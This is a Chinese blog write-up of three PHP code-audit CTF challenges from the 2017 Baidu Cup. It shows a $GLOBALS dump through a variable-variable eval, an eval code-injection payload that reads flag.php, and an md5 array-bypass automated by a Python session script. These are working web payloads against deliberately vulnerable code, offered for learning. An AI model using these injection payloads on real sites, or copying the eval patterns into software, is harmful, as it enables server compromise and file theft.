“百度杯”CTF比赛 2017 二月场 爆破1-3

“百度杯”CTF比赛 2017 二月场 爆破1-3

1

题目内容:flag就在某六位变量中。

题目给出源码

<?php
include "flag.php";
$a = @$_REQUEST['hello'];			//hello为传参点
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");				//输出参数内容
show_source(__FILE__);
?>

因为flag就在某六位变量中
且存在 $$a
考虑使用超全局变量GLOBALS

操作:url/?hello=GLOBALS
结果输出的变量包含flag加粗样式

2

题目内容:

flag不在变量中。

依然耿直的给出了源码(花花绿绿的):

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

分析:既然flag不在变量中,输出变量也没用
但是flag.php被包含,可以在闭合var_dump后继续传函数给eval
直接读取flag.php的内容

//闭合操作类似与sql注入

操作url?hello=1); print_r(file("./flag.php")

结果直接打印出flag.php

3

题目内容:

这个真的是爆破。

给出源代码,三道题都是审计题:

一下是给出注释的代码段:

 <?php 
error_reporting(0);				
session_start();					//开始会话
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}									//初始化,注意session[whoami]=ea

if($_SESSION['time']+120<time()){
  session_destroy();				//撤销会话
}

$value = $_REQUEST['value'];		//传参点
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];		//str_rands=xy(随机)

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}
//如果为真,nums+1,而当nums>=10,将输出flag
//所以任务就是保证10次为真,可以手动也可以用脚本刷
//现在分析如何为真
//substr(md5($value),5,4)==0	用数组避开md5的检测,强制转换后必然为0,该条件永真
								//$value[0].$value[1]也提示了我们用数组
//$_SESSION['whoami']==($value[0].$value[1])	//只要我们输入的与$_SESSION['whoami']相同即可
//$_SESSION['whoami'] = $str_rands;				每次$_SESSION['whoami']将会被str_rands取代,并且输出,所以每次传出的值将为下一次的输入/第一次输入为ea
  //echo $str_rands;


if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>


手动只要10次传参即可,传参方式同实验1

以下是py脚本,会产生多个结果,看最后一个就好

import requests

url='http://f02b653956cf40c9a3fd8fa284044a28bbb034417bfd41de.changame.ichunqiu.com/?value[]='

a=requests.session() 
b=a.get(url+'ea') 

for i in range(11):
	c=a.get(url+b.text[:2])
	b=c
	print(b.text)
	pass

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值